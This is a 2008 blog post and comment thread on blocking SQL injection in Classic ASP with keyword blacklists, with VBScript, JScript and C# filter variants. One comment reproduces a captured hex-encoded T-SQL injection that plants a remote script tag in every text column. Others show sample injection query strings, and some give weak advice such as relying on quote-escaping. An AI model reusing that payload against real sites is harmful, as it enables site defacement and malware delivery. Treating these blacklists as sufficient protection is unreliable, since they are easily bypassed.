Filtering SQL injection from Classic ASP

SQL injection may be over a decade old, but even the best of us need a reminder once in a while. You should always validate input to your applications! There isn’t a ‘one size fits all’ solution to sanitizing input, so I will attempt to show what a general solution might look like for classic ASP (using VBScript). Remember, you need to keep in mind the specifics of your web application and add/remove things in the sample accordingly. So even though I am focusing on SQL injection here, input validation needs to be done to even prevent cross-site scripting attacks, among others. Check this article on how to prevent XSS to give you an idea of other sorts of validation that would need to be done on user input to secure a web application. If you are looking for something for ASP.NET check out this post from Stefan on the ASP.NET team.

Now that UrlScan v3.0 (x86, x64) is out I would highly recommend using that instead of this script. There is also a walk-through for it on implementing SQL injection blocking configuration.

Please note:

The purpose of this sample is to get folks off the ground and up and running. This is not intended to be a long-term solution to solving SQL injection attacks against your application. Using black lists like in the sample tend to give a lot of false positives that make many applications unusable. Increasing complexity in the list to avoid this leads to performance issues. Also, such simplistic signatures can be worked around by determined hackers. Consider UN/**/ION for example.

You want to use white lists and rules to sanitize input. You should restrict your web application to using stored procedures and calling them using parameterized SQL APIs.

The way this sample is constructed is that I have a script that checks certain inputs against a ‘black list’ of strings, and if I find a match I redirect to an error page. This script can then be ‘included’ into all public facing application scripts that process user input. There are 3 pieces to this solution: the script with the filtering logic, a sample application that will ‘include’ the filtering script and an error page we would forward to. I have added comments to the scripts themselves, so you have the reminders in front of you. Several folks asked about a send email script, so I have included a sample script for that as well. You will need to incorporate it into your application appropriately. Make sure you read the comments in the code as well for all the assumptions. The right way to do db access from web applications is to use parameterized SQL. Check out Neil  Carpenter's blog here on what this looks like.

 

SqlCheckInclude.asp

 

 

This is the code that does the main filtering. Copy the code below into an ASP file and modify according to your needs. The main things you need to add/modify for your needs are the BlackList array and the ErrorPage you want to forward to. Deploy this file in a location that will be accessible to all your web applications. Make sure that the path to your error page is correct. Use a full path here if possible, since this code will get ‘included’ into several applications that may all reside in different physical directories.

<% 
'  SqlCheckInclude.asp
'
'  Author: Nazim Lala
'
'  This is the include file to use with your asp pages to 
'  validate input for SQL injection.


Dim BlackList, ErrorPage, s

'
'  Below is a black list that will block certain SQL commands and 
'  sequences used in SQL injection will help with input sanitization
'
'  However this is may not suffice, because:
'  1) These might not cover all the cases (like encoded characters)
'  2) This may disallow legitimate input
'
'  Creating a raw sql query strings by concatenating user input is 
'  unsafe programming practice. It is advised that you use parameterized
'  SQL instead. Check http://support.microsoft.com/kb/q164485/ for information
'  on how to do this using ADO from ASP.
'
'  Moreover, you need to also implement a white list for your parameters.
'  For example, if you are expecting input for a zipcode you should create
'  a validation rule that will only allow 5 characters in [0-9].
'

BlackList = Array("--", ";", "/*", "*/", "@@", "@",_
                  "char", "nchar", "varchar", "nvarchar",_
                  "alter", "begin", "cast", "create", "cursor",_
                  "declare", "delete", "drop", "end", "exec",_
                  "execute", "fetch", "insert", "kill", "open",_
                  "select", "sys", "sysobjects", "syscolumns",_
                  "table", "update")

'  Populate the error page you want to redirect to in case the 
'  check fails.

ErrorPage = "/ErrorPage.asp"
               
'''''''''''''''''''''''''''''''''''''''''''''''''''               
'  This function does not check for encoded characters
'  since we do not know the form of encoding your application
'  uses. Add the appropriate logic to deal with encoded characters
'  in here 
'''''''''''''''''''''''''''''''''''''''''''''''''''
Function CheckStringForSQL(str) 
  On Error Resume Next 
  
  Dim lstr 
  
  ' If the string is empty, return true
  If ( IsEmpty(str) ) Then
    CheckStringForSQL = false
    Exit Function
  ElseIf ( StrComp(str, "") = 0 ) Then
    CheckStringForSQL = false
    Exit Function
  End If
  
  lstr = LCase(str)
  
  ' Check if the string contains any patterns in our
  ' black list
  For Each s in BlackList
  
    If ( InStr (lstr, s) <> 0 ) Then
      CheckStringForSQL = true
      Exit Function
    End If
  
  Next
  
  CheckStringForSQL = false
  
End Function 


'''''''''''''''''''''''''''''''''''''''''''''''''''
'  Check forms data
'''''''''''''''''''''''''''''''''''''''''''''''''''

For Each s in Request.Form
  If ( CheckStringForSQL(Request.Form(s)) ) Then
  
    ' Redirect to an error page
    Response.Redirect(ErrorPage)
  
  End If
Next

'''''''''''''''''''''''''''''''''''''''''''''''''''
'  Check query string
'''''''''''''''''''''''''''''''''''''''''''''''''''

For Each s in Request.QueryString
  If ( CheckStringForSQL(Request.QueryString(s)) ) Then
  
    ' Redirect to error page
    Response.Redirect(ErrorPage)

    End If
  
Next


'''''''''''''''''''''''''''''''''''''''''''''''''''
'  Check cookies
'''''''''''''''''''''''''''''''''''''''''''''''''''

For Each s in Request.Cookies
  If ( CheckStringForSQL(Request.Cookies(s)) ) Then
  
    ' Redirect to error page
    Response.Redirect(ErrorPage)

  End If
  
Next


'''''''''''''''''''''''''''''''''''''''''''''''''''
'  Add additional checks for input that your application
'  uses. (for example various request headers your app 
'  might use)
'''''''''''''''''''''''''''''''''''''''''''''''''''

%>
 
 

 

 TestPage.asp

 

 

 

 

 

This is a sample that shows how to ‘include’ the script above in my application. Make sure the path to your include file is correct. The example below is for the application and the include file being in the same directory. Make sure you modify the path if these 2 are not in the same directory.

<% 
'  TestPage.asp
'
'  Author: Nazim Lala
'
'  This is a file to test the SQLCheckInclude file. The idea here is that you add
'  the include file to the beginning of every asp page to get SQL injection 
'  input validation


%>

<!--#include file="SqlCheckInclude.asp"-->
<%
Response.Write("Welcome to the Test Page.")
Response.Write("If you are seeing this page then SQL validation succeeded.")
%>
 
 

ErrorPage.asp

 

 

If a ‘black list’ string is found in any input, this is the page you will be forwarded to. You can reuse any custom error page that you already have for this. I am including this only for the sake of completeness.

<% 
'  ErrorPage.asp
'
'  Author: Nazim Lala
'
'  This is the error page that users will be redirected to if the input cannot
'  be validated

%>
<%Response.Write("ERROR: Invalid Input")%>

 

 

SendEmail.asp

 

This script sends email via a remote SMTP server that uses credentials. You will need to integrate this into your application at the right place to get error reporting via email.

<% 

'  SendEmail.asp
'  Author: Nazim Lala
    
Function SendEmail(email, msg) 
  On Error Resume Next 
  
  ' If the string is empty, return false
  If ( IsEmpty(email) ) Then
    SendEmail = false
    Exit Function
  ElseIf ( StrComp(email, "") = 0 ) Then
    SendEmail = false
    Exit Function
  End If
  

  Set cdoConfig = CreateObject("CDO.Configuration")  

  With cdoConfig.Fields  
      .Item(cdoSendUsingMethod) = cdoSendUsingPort  
      ' Fill in server name for remote SMTP server and
      ' credentials
      .Item(cdoSMTPServer) = "smtpserver.foo.com"  
      .Item(cdoSMTPAuthenticate) = 1  
      .Item(cdoSendUsername) = "username"  
      .Item(cdoSendPassword) = "password"  
      .Update  
  End With 

  Set cdoMessage = CreateObject("CDO.Message")  

  With cdoMessage 
    'Fill in sender information
    Set .Configuration = cdoConfig 
    .From = "me@myself.com" 
    .To = email 
    .Subject = "Test Email" 
    .TextBody = msg 
    .Send 
  End With 

  Set cdoMessage = Nothing  
  Set cdoConfig = Nothing  
  
  SendEmail = true
  
End Function 


%>


<FORM VERB=POST METHOD="POST"> 
Test page for checking input with possible SQL injection.<br><br>
Email: <INPUT NAME=Email></INPUT><BR>
Message: <INPUT NAME=Message></INPUT><BR>
Sent: <% = SendEmail(Request("Email"),Request("Message")) %><BR> 
<BUTTON TYPE=SUBMIT>Submit</BUTTON> 
</FORM> 

 

Hope this helps. If folks are averse to VBScript I can cook up something for Jscript if there is demand.

 

Published Monday, April 28, 2008 7:53 PM by naziml

Comments

# re: Filtering SQL injection from Classic ASP

Tuesday, April 29, 2008 8:50 AM by qt11

great script !!

I'm having problems with the :

For Each s in Request.Form

 If ( CheckStringForSQL(s) ) Then

if i do a response.write (s) its the name of the fields that are written out, not their values....

therefore its not actually looking at the correct bit...

??

# re: Filtering SQL injection from Classic ASP

Tuesday, April 29, 2008 9:41 AM by qt11

also, please check the code, there's a few errors in there...

"select, ""sys",

anyone know how to get the values for the form information rather than the attribute names ?

# re: Filtering SQL injection from Classic ASP

Wednesday, April 30, 2008 4:27 PM by naziml

you are right ... I am looking at form keys, instead of values ... I will update the script.

Thanks

# re: Filtering SQL injection from Classic ASP

Wednesday, April 30, 2008 4:33 PM by naziml

Ok, I just fixed the form value lookup, and the quotes issue in the blacklist. Thanks for pointing it out.

# re: Filtering SQL injection from Classic ASP

Wednesday, April 30, 2008 9:54 PM by bills

welcome to blogosphere Nazim, it's great to have a security-focused blog for IIS!

# re: Filtering SQL injection from Classic ASP

Friday, May 2, 2008 1:13 PM by mendel

if we take each string and replace any single quotes with two single quotes, is there still a way to do sql injection?

# re: Filtering SQL injection from Classic ASP

Friday, May 2, 2008 7:17 PM by naziml

Disallowing single quotes does the trick for the most part. You have to watch out for encoding though. Also you might end up disallowing valid scenarios. For example, what if you want to enter the name O'Connor?

# re: Filtering SQL injection from Classic ASP

Saturday, May 3, 2008 6:14 PM by alexhiggins732

I would also update the script to send an email to the webmster, so they can monitor for false positives, and adjust the code accordingly where necessary

# re: Filtering SQL injection from Classic ASP

Monday, May 5, 2008 12:14 PM by naziml

I added a script sample to send email via a remote SMTP server. HTH.

# re: Filtering SQL injection from Classic ASP

Monday, May 5, 2008 1:09 PM by mendel

O'Connor gets replaced with O''Connor, which SQL server correctly interprets as O'Connor.

could you give us examples of how encoding could get by this check (isn't any url encoding decoded by IIS so I get the decoded value in my code?)

# re: Filtering SQL injection from Classic ASP

Monday, May 5, 2008 8:10 PM by naziml

<quote> isn't any url encoding decoded by IIS so I get the decoded value in my code </quote>

Not for querystring.  The problem is that there is no *standard* encoding mechanism for querystrings. Apps use a variety of things. For example your application may HTML escape the querystring, so you could bypass the check using &#022;.

Also for the O'Connor example, the input form would need to replace the ' with '', correct? And SQL will escape it correctly then?

# re: Filtering SQL injection from Classic ASP

Tuesday, May 13, 2008 3:50 AM by Ejhay

How do I validate this sample query stirng?

place_details.asp?content=;

because before the blacklisted symbol is the equal = sign, it doesn't redirect me on the error site.

Please help

# re: Filtering SQL injection from Classic ASP

Tuesday, May 13, 2008 9:14 AM by Ray

You need to update the querystring For Loop to check the string value not the id.

For Each s in Request.QueryString

 'Response.Write(s & " = " & Request.QueryString(s) & VbCrLf)

 If (CheckStringForSQL(Request.QueryString(s)) ) Then

   ' Redirect to error page

   Response.Redirect(ErrorPage)

   End If

Next

# re: Filtering SQL injection from Classic ASP

Sunday, May 18, 2008 9:34 AM by CodeWhisperer

I notice that there are some issues here... or at least I think so based on the intent of this code.

The CheckStringForSQL for querystrings line should be:

 If ( CheckStringForSQL(request.querystring(s)) ) Then

and the one for cookies should be:

 If ( CheckStringForSQL(request.cookies(s)) ) Then

Otherwise you're checking only the names and not the actual values.

Also, you may want to note that if you want to send an email warning that shows the values being passed/used, that should go in the sqlcheck.asp script and not the errorpage.asp script.

NOT criticism, just trying to be helpful and save someone else some time in the future.  :-)

# re: Filtering SQL injection from Classic ASP

Sunday, May 18, 2008 11:38 PM by G:-)

Please check last 2 comments and change code!!!

The following test string default.asp?page=test'%20;%20insert%20INTO%20_atest%20(_name)%20VALUES('hello1')-- is not detected by existing code without the changes mentioned.

# re: Filtering SQL injection from Classic ASP

Monday, May 19, 2008 1:25 AM by naziml

Sorry ... I somehow edited only the first one and missed the next two.

# re: Filtering SQL injection from Classic ASP

Tuesday, May 20, 2008 4:56 AM by zeWEBHOST

Can you explain how if the string is empty it returns "true" while CheckStringForSQL= false?:

' If the string is empty, return true

 If ( IsEmpty(str) ) Then

   CheckStringForSQL = false

   Exit Function

# re: Filtering SQL injection from Classic ASP

Tuesday, May 20, 2008 4:04 PM by Anonymous

Instead of parsing the string using Request.QuerString, get the whole query string usin g Request.Servervariables("QUERY_STRING") because the a request in the following format will not be parsed:

<form method="post" action="post.asp?PageID=123;Declare @a;Set @=123;Exec(@);">

</form>

=================

Recommended change

=================

For each s in Request.ServerVariables("QUERY_STRING")

If ( CheckStringForSQL(s) ) Then

   ' Redirect to error page

   Response.Redirect(ErrorPage)

   End If

Next

# re: Filtering SQL injection from Classic ASP

Thursday, May 22, 2008 12:26 AM by naziml

zeWEBHOST: An empty string can't contain anything on the SQL injection blacklist, hence we return false for empty strings.

Anonymous: I have not tested querystrings with form actions. I would assume that this would trigger a new request where Request.QueryString is appropriately populated. Let me test this out, and if this is not the case, I will update the script. Thanks.

# re: Filtering SQL injection from Classic ASP

Thursday, May 22, 2008 4:51 AM by Marina

Why, if I use your code in the test page it works, but does not work in a real asp page giving me this error? Microsoft VBScript compilation error '800a0411'

Name redefined

# re: Filtering SQL injection from Classic ASP

Thursday, May 22, 2008 4:57 AM by marina

sorry, now it works...

# re: Filtering SQL injection from Classic ASP

Thursday, May 22, 2008 9:25 AM by marina

I'm having a problem using your filter. If for example the name of the user in the input field is Castagna, the user cannot register him self because his name contain the blacklisted word CAST. Obviously this will happen with all names or words containing balcklisted terms. This fact do make impossible to use your nice script. Is it possible to find a way that rejects only isolated word and not the blacklisted word contained in more complex words. Thanx. Marina

# re: Filtering SQL injection from Classic ASP

Friday, May 23, 2008 3:21 AM by anti

how about adding the names of tables in the database to the blacklist? would that be enough to prevent any changes to the tables in use?

or am I just missing something here? not the most experienced on this field, just had a site mangled recently.

# re: Filtering SQL injection from Classic ASP

Saturday, May 24, 2008 10:53 AM by Anthony

I used this script on a couple of my sites and it works just fine. However, on an older ASP site it gives the following error:

---------

Microsoft VBScript runtime error '800a01f4'

Variable is undefined: 'ss'

/tlt/sqlvalidation.asp, line 82

-------

Any idea what could be causing this?

# re: Filtering SQL injection from Classic ASP

Saturday, May 24, 2008 3:29 PM by Anthony

Sorry, that 'ss' should be an 's'

# re: Filtering SQL injection from Classic ASP

Tuesday, May 27, 2008 1:47 PM by Ali Hasan

Please check you might be using Option Explicit

# re: Filtering SQL injection from Classic ASP

Wednesday, May 28, 2008 8:43 AM by zeWEBHOST

What about if the input is an Email address? the two strings "@" and "@@" will return to the error page. How to prevent this without moving them?

# re: Filtering SQL injection from Classic ASP

Thursday, May 29, 2008 4:16 PM by NazimL

The list of strings I have put up is only a sample. I am aware that you will get false positives with it. If you look at the comments in the scripts it will give you some suggestions around this. Do note that this is a quick fix to get you up and running. What you really want to do is use a combination of whitelist/blacklist along with parameterized SQL.

Currently I am just using InStr to see if I find a string. You could modify that logic to check for a whitespace around it to avoid some false positives due to substrings. You need to use some caution though, because you might just introduce a way to get past your filter with this (which is why I did not do it for the sample).

# re: Filtering SQL injection from Classic ASP

Friday, May 30, 2008 12:24 PM by Mendel

Suggestion to microsoft for blocking sql injection attacks:

one of the significant differences between sql and msacces (jet) is that sql allows multiple commands in a single sql statement.

while that ability is very good, it's rarely if ever needed in a website.

I would like to suggest that microsoft release a patch to sql server that would add a specific permission on a user to allow or deny the ability to run multi-command statments.

if that option was there, I think that 99% of websites could be protected just by blocking that ability.

# re: Filtering SQL injection from Classic ASP

Saturday, May 31, 2008 1:43 AM by Ken Schaefer

Why don't you recommend the use of parametized queries (e.g. using ADO command objects) instead? Surely that would obviate the need for this type of code?

# re: Filtering SQL injection from Classic ASP

Monday, June 2, 2008 9:48 AM by Will Qunit

Thank you Nazimil :)

Your efforts on this helpful script are greatly appreciated and your blog a great learning experience!

Cheers

# re: Filtering SQL injection from Classic ASP

Monday, June 2, 2008 3:59 PM by NazimL

Once again ... I definitely recommend using parameterized SQL ... see the first comment block in the ASP script. I even have a link in there on how to use this with ADO in classic ASP. I specifically put this into the script as coments because a lot of folks will just cut and paste the sample, without bothering to read the post.

# re: Filtering SQL injection from Classic ASP

Wednesday, June 4, 2008 3:04 AM by Quotes missing

There is an important aspect of SQL injection missing:

Your routine does not check for quotes. A single quote (') is the basic principle of SQL injection - it allows to 'escape' from the originally intended SQL statement. Thus, you need to add the quote charater (') and other possible 'escapes' to your blacklist.

# re: Filtering SQL injection from Classic ASP

Wednesday, June 4, 2008 11:45 AM by Michael

This is VERY helpful. Thank you for this. It is the fastest way to at least prevent someone from deleting all the data in your database. Yes you should use better measures but if you want to do something RIGHT NOW while you are recoding to use sql parameters this is better than nothing.

# re: Filtering SQL injection from Classic ASP

Thursday, June 5, 2008 1:11 PM by Anonymous

thanks man! I've been attacked with some SQL Injection a few days ago so i'll apply this script on my website ASAP.

# re: Filtering SQL injection from Classic ASP

Thursday, June 5, 2008 7:45 PM by naziml

Checking for single quote (') will lead to too many false positives, and hence not included. In most cases, this will need to be used in conjuction with (--) to comment out the rest of the query, and since I have that on the list, it should suffice.

# re: Filtering SQL injection from Classic ASP

Tuesday, June 10, 2008 9:21 AM by Anonymous

My company just bought an asp-component called SecureRequest (http://www.securerequest.net) that works in a simular fasion as in this article. But with this component you can also replace values and block regular-expression patterns!

I might also recomend the SQL-injection vulnerabilities analyzer that they have on their website: http://www.securerequest.net/analyze.aspx - helped me a lot!

//Rufus

# re: Filtering SQL injection from Classic ASP

Saturday, June 21, 2008 2:26 PM by Anonymous

Hi!

Do you have Jscript version at hand?

Regards,

TomazL

# re: Filtering SQL injection from Classic ASP

Sunday, June 22, 2008 1:12 PM by Anonymous

Hi,

Was thinking it would be nice to block the ip address of the attacker from visiting the site in IIS. I know how to do this manually, would it be possible to do this programmatically each time a positive attack is detected?

Thanks,

Martin

# re: Filtering SQL injection from Classic ASP

Monday, June 23, 2008 4:57 AM by Anonymous

Hi!

I have converted VB to JS if anyone would need it. Please, take care, because it is not 100% tested! But it works fine for us:

<%

var BlackList;

BlackList = new Array("--", "/*", "*/", "@@",

"alter ", "begin ", "cast ", "create ", "cursor ",

"declare ", "delete ", "drop ", "exec ",

"execute ", "fetch ", "insert ", "open ",

"select ", "sysobjects", "syscolumns",

"table ", "update ", "<scrip", "</scrip");

ErrorPage = "/ErrorPage.asp";

function CheckStringForSQL(str)

{

//If the string is empty, return true

if(str == undefined)

{

return(false);

}

//check if length is 0

if (str.length == 0)

{

return(false);

}

//Check if the string contains any patterns in our

//black list

var i;

for (i = 0; i < BlackList.length; i++)

{

if (str.toLowerCase().indexOf(BlackList[i]) != -1)

{

return(true);

}

}

return(false);

}

for(e = new Enumerator(Request.Form); !e.atEnd(); e.moveNext())

{

//  Response.Write(Request.Form(e.item())+"");

 if(CheckStringForSQL(Request.Form(e.item())+""))

 {

   // Redirect to an error page;

   Response.Redirect(ErrorPage);

 }

}

for(e = new Enumerator(Request.QueryString); !e.atEnd(); e.moveNext())

{

//  Response.Write(Request.QueryString(e.item())+"");

 if(CheckStringForSQL(Request.QueryString(e.item())+""))

 {

   // Redirect to an error page;

   Response.Redirect(ErrorPage);

 }

}

for(e = new Enumerator(Request.Cookies); !e.atEnd(); e.moveNext())

{

//  Response.Write(Request.Cookies(e.item())+"");

 if(CheckStringForSQL(Request.Form(e.item())+""))

 {

   // Redirect to an error page;

   Response.Redirect(ErrorPage);

 }

}

%>

# re: Filtering SQL injection from Classic ASP

Friday, June 27, 2008 4:33 AM by Anonymous

Mendel asks if there is a way to do SQL injection if all single quotes are escaped and anti suggests filtering out table names.

One of the current attacks uses T-SQL encoded in hexadecimal to obscure all single quotes and most of the SQL key words (including all table names). E.g.,

product_id=37;DECLARE%20@S%20VARCHAR(4000);SET%20@S=CAST(some nasty hex encoded T-SQL here%20AS%20VARCHAR(4000));EXEC(@S);--

This worked on pages that expected stuff like product_id=37 in the querystring and build a query without putting single quotes around product_id. Something like:

"SELECT * FROM products WHERE product_id = " & Replace(product_id, "'", "''")

Escaping the quotes and filtering for table names makes no difference, but (and maybe I'm wrong) rewriting the query with single quotes around the product_id would stop the attack:

"SELECT * FROM products WHERE product_id = '" & Replace(product_id, "'", "''") & "'"

Surely

SELECT * FROM products WHERE product_id = '37;DECLARE%20@S%20VARCHAR(4000);SET%20@S=CAST(some nasty hex encoded T-SQL here%20AS%20VARCHAR(4000));EXEC(@S);--'

isn't going to execute the way the attacker intends. Everything between the single quotes is going to be treated as a string instead of executing, yes?

Maybe the question should be: "Is there a known way to do SQL injection if all single quotes are escaped and all input values are surrounded by single quotes." If the answer is no, then why bother with filtering, parameterized queries, etc.? I have seen articles which claim to give examples, but if you actually take the time to substitute the example SQL into the dynamic query it becomes clear nothing bad would happen. So, someone please show me a working example before I go recoding everything with parameterized (ugh) queries.

# re: Filtering SQL injection from Classic ASP

Friday, June 27, 2008 4:45 AM by Anonymous

The only problem with the escaping approach is that the hacker can just start his injection with a ' to end your qoutes. So for example

1 or 1=1'; Do some nastiness here in hex etc....;

At the end of the day there are many different ways to inject sql and you need to protect against them all.

# re: Filtering SQL injection from Classic ASP

Friday, June 27, 2008 6:18 AM by Anonymous

Try what you suggested or write it out. It won't do anything. Any ' will get escaped and interpreted as a literal. SQL will search the DB for a weird string and return no match.

Again, show me a working example.

# re: Filtering SQL injection from Classic ASP

Friday, June 27, 2008 6:22 AM by Anonymous

I have no objection to filtering or other technique--even if there is no way to do SQL injection when everything is escaped and between single quotes, doesn't mean some coder won't slip up.

# re: Filtering SQL injection from Classic ASP

Monday, June 30, 2008 9:42 AM by Anonymous

Hi I am Anshuk. My web site has been attacked in a similar way.

ID=308;DECLARE%20@S%20VARCHAR(4000);SET%20@S=CAST(0x4445434C415245204054205641524348415228323535292C404320564152434841522832353529204445434C415245205461626C655F437572736F7220435552534F5220464F522053454C45435420612E6E616D652C622E6E616D652046524F4D207379736F626A6563747320612C737973636F6C756D6E73206220574845524520612E69643D622E696420414E4420612E78747970653D27752720414E442028622E78747970653D3939204F5220622E78747970653D3335204F5220622E78747970653D323331204F5220622E78747970653D31363729204F50454E205461626C655F437572736F72204645544348204E4558542046524F4D205461626C655F437572736F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D302920424547494E20455845432827555044415445205B272B40542B275D20534554205B272B40432B275D3D525452494D28434F4E5645525428564152434841522834303030292C5B272B40432B275D29292B27273C736372697074207372633D687474703A2F2F7777772E626E727570646174652E6D6F62692F622E6A733E3C2F7363726970743E27272729204645544348204E4558542046524F4D205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F437572736F7220%20AS%20VARCHAR(4000));EXEC(@S);--

I have used the following code to fix it.

when ever i use a value from querystring like request("productID") i encase it in

dbsafe2(request("productID"),"Numeric")

or if it is a string then

dbsafe2(request("productName"),"string")

function dbsafe2(data,dtype)

if (instr(data,"update")) or (instr(data,"delete")) or (instr(data,"select")) or (instr(data,"group by"))  or (instr(data,"having"))  or (instr(data,"<script")) or (instr(data,"CAST")) then

Set myMail=CreateObject("CDO.Message")

myMail.Subject="DBSAFE2 Someone is trying to *** us, But he couldnt...he he"

myMail.From="anti-hack@mee.com"

myMail.To="mee@mee.com"

myMail.HTMLBody = "<b>Someone is trying to *** our database. <BR><BR>Hacker's Details: <BR><BR>IP Address:</b> <a href=whois.domaintools.com/"&Request.ServerVariables("REMOTE_ADDR")&">"&Request.ServerVariables("REMOTE_ADDR")&"</a><BR><B>Target Page:</b> http://tulleeho.com"& Request.ServerVariables("SCRIPT_NAME") &"<BR><b>Browser/OS Info:</b> "& Request.ServerVariables("HTTP_USER_AGENT") &"<BR><b>Logon User:</b> "& request.ServerVariables("LOGON_USER") &"<BR><b>Request Method: </b>"& request.ServerVariables("REQUEST_METHOD") &"<BR><B>Post Data:</b> "& data &"<BR><B>Querystring:</b> "&request.ServerVariables("QUERY_STRING") &"<BR><B>Cookies:</b> "&request.ServerVariables("HTTP_COOKIE") &"<BR><a href=""www.tulleeho.com/testdbsafe.asp("QUERY_STRING") &""">Test DBSAFE</a><BR><b>Server Date/Time: </b>" & now()

myMail.Send

set myMail=nothing

end if

if lcase(dtype) = "numeric" then

if Not IsNumeric(data) then data=0

else

data = replace(data,"'","''")

End if

dbsafe2 = data

end function

contact: anshukk @ gmail . com

# re: Filtering SQL injection from Classic ASP

Saturday, July 5, 2008 7:29 PM by Anonymous

naziml, may 22, in an answer to anonymous, you say

"Anonymous: I have not tested querystrings with form actions. I would assume that this would trigger a new request where Request.QueryString is appropriately populated. Let me test this out, and if this is not the case, I will update the script. Thanks."

Have you checked into this <important> difference?

What is the result...?

# re: Filtering SQL injection from Classic ASP

Monday, July 7, 2008 3:27 PM by Anonymous

Anonymous' June 30, 2008 post is nice because it combines the blacklist with a datatype check. You might also consider a value length check. Limiting the number of characters can really make it tougher on the attacker. What can they really do with say 20 characters to play with?

Something like...

function dbsafe2(data, dtype, maxlength)

# re: Filtering SQL injection from Classic ASP

Tuesday, July 8, 2008 12:48 AM by Anonymous

So here's what I came up with after a bit of tinkering. I stuck this in my data access layer's base class, which is inherited by all my data access objects. I mostly use it for my complicated searches, for which I still can't seem to get away from dynamic SQL.

The blacklist might be a bit too extensive to real use. Edit as you need.

/// <summary>Validate and filter each value supplied by the user for use in the whereClause.</summary>

/// <param name="userValue">The value to validate</param>

/// <param name="maxLength">The most characters permitted</param>

/// <returns>The value after validation and filtering</returns>

/// <remarks>This method is provided to help guard against SQL injection attacks. It escapes single quotes with two single quotes and removes the comment markings.</remarks>

protected static String CleanValue(String userValue, Int32 maxLength)

{

// Throw an exception if a blacklisted word is detected.

String[] blackList = {

"alter",

"begin",

"cast",

"create",

"cursor",

"declare",

"delete",

"drop",

"exec",

"execute",

"fetch",

"insert",

"kill",

"open",

"select",

"sys",

"sysobjects",

"syscolumns",

"table",

"update",

"<script",

"</script"

};

for (int i = 0; i < blackList.Length; i++)

if (userValue.ToLower().Contains(blackList[i]))

throw new ArgumentException();

// Throw an exception if too many characters detected.

if (userValue.Length >= maxLength)

throw new ArgumentOutOfRangeException();

// Replace single quotes with two single quotes and remove any comment markings.

String result = userValue.Replace("'", "");

result = result.Replace("--", "");

result = result.Replace("/*", "");

result = result.Replace("*/", "");

result = result.Replace("@@", "");

result = result.Replace("@", "");

return result;

}

Regards, BPM

# re: Filtering SQL injection from Classic ASP

Tuesday, July 8, 2008 7:32 AM by Anonymous

Hi there, I have just had an attack too. Lots of script and js messages in my tables.

If i add the SqlCheckInclude.asp include to every page will this prevent further attacks do you think?

I have uploaded it and the testpage.asp to my server and when I point the browser directly at the testpag.asp and it gives this message

Welcome to the Test Page.If you are seeing this page then SQL validation succeeded.

So I presume the code has worked?

But then how do I actually know it has worked? Is there some kind of code I can run to test to see if it works?

# re: Filtering SQL injection from Classic ASP

Wednesday, July 9, 2008 3:08 PM by Anonymous

Hi

What dos "end" i the blacklist do to SQL

When i run the script with blacklist and all i'v get the errorpage, when i remove "end", from the blacklist it's works OK.

Can anyone explane that to me, Thanks

# re: Filtering SQL injection from Classic ASP

Thursday, July 10, 2008 7:12 PM by naziml

if something like 'end' is blocking you, it might inadvertently be part of your request. I hit this in my ASP.net session cookie :)

# re: Filtering SQL injection from Classic ASP

Friday, July 11, 2008 5:40 AM by Anonymous

Thanks Rufus!

--My company just bought an asp-component called SecureRequest (http://www.securerequest.net) that works in a simular fasion as in this article. But with this component you can also replace values and block regular-expression patterns!

I might also recomend the SQL-injection vulnerabilities analyzer that they have on their website: http://www.securerequest.net/analyze.aspx - helped me a lot!

//Rufus--

I've downloaded and installed it! Works perfectely! Minor issues but their support was great!

Rolf

# re: Filtering SQL injection from Classic ASP

Saturday, July 12, 2008 6:08 AM by Anonymous

hai i got below error hw to solve it ... i am not a asp programmer ... so pls give ur suggestion to solve it....

Error Type:

Microsoft VBScript runtime (0x800A01F4)

Variable is undefined: 's'

admin/SqlCheckInclude.asp, line 86

# re: Filtering SQL injection from Classic ASP

Sunday, July 13, 2008 3:39 AM by Anonymous

Naz, thanks for this article, it was a great help as a starting point to get some ideas....well written and good comments (for the most part) as well.

# re: Filtering SQL injection from Classic ASP

Tuesday, July 15, 2008 9:18 PM by Anonymous

Nazim,

just a quick note to say thanks for this. We have had it in operation for over a month and it is working to protect our site, whilst we get the developers to implement a more appropriate way of dealing with sql. Our only mod was to tweak the blacklist a little.

To give people an idea in the last 2 weeks we have received 2400 sql injection attempts, all fialed, and only have one very wierd error (but it is a Mac ;-)) when no string at all is attached to the URL, will post if I ever solve it.

One small note to those getting the "variable undefined: 's'" problem just add s to the Dim statement at the top of the code e.g;

Dim BlackList, ErrorPage, s

Thanks again, we are very grateful.

G:-)

# re: Filtering SQL injection from Classic ASP

Monday, July 21, 2008 10:35 AM by Anonymous

# re: Filtering SQL injection from Classic ASP

Thursday, July 31, 2008 6:33 PM by Anonymous

Thanks a lot this is the best validation code I saw.

# re: Filtering SQL injection from Classic ASP

Monday, August 11, 2008 3:24 AM by Anonymous

Nazim, thanks very much for the code. I do have a question thought. I find that email addresses from "comcast.net" are also seen ans possible SQL injection, as the word "cast" is in the address.

Is there a way to have "comacast" set as an exception within the code?

Thanks

Hans

# re: Filtering SQL injection from Classic ASP

Tuesday, September 2, 2008 2:53 AM by bholyfield

URLScan is a great defense mechanism for web server attacks, but I have found that it is not flexible enough to defend against web application-level attacks like SQL Injection.   The group I work with just released a free module for IIS (called SPF) that provides a flexible mechanism for blocking malicious requests.  SPF can be downloaded from our website: www.gdssecurity.com/.../t.php

It provides coverage options for Query Strings, POST data and Cookies (where as URL Scan is limited to just Query Strings).  It also supports use of regular expressions to define malicious input sequences, allowing more complex patterns to reduce the likelihood of false positives.  You can find out more about it from the following Blog post: www.gdssecurity.com/.../iis-secure-parameter-filter-spf-released

# re: Filtering SQL injection from Classic ASP

Thursday, October 30, 2008 9:13 AM by dawidi

I'm sorry but this is *horrible* advice. You will end up discarding 90% of legitimate requests and not prevent a single SQL injection.

Convert ' to '' if you're expecting a string, and convert to a number if you expect a number. Then build your SQL statement from that.

Also, you seem to be having a slight spam problem here.

# re: Filtering SQL injection from Classic ASP

Wednesday, January 21, 2009 5:31 AM by Oddish

I understand it's just an example, but let's say you try to implement this script on a page that receives a search form via GET. Some of the blacklisted words can easily be found in a valid search term.

Let's say it's a search on a movie review site and a user searches for "kill bill". The querystring would likely be something along the lines of "?q=kill%20bill" and this validator would not allow that, am I right?

# re: Filtering SQL injection from Classic ASP

Saturday, January 31, 2009 7:20 AM by ssk sorgulama

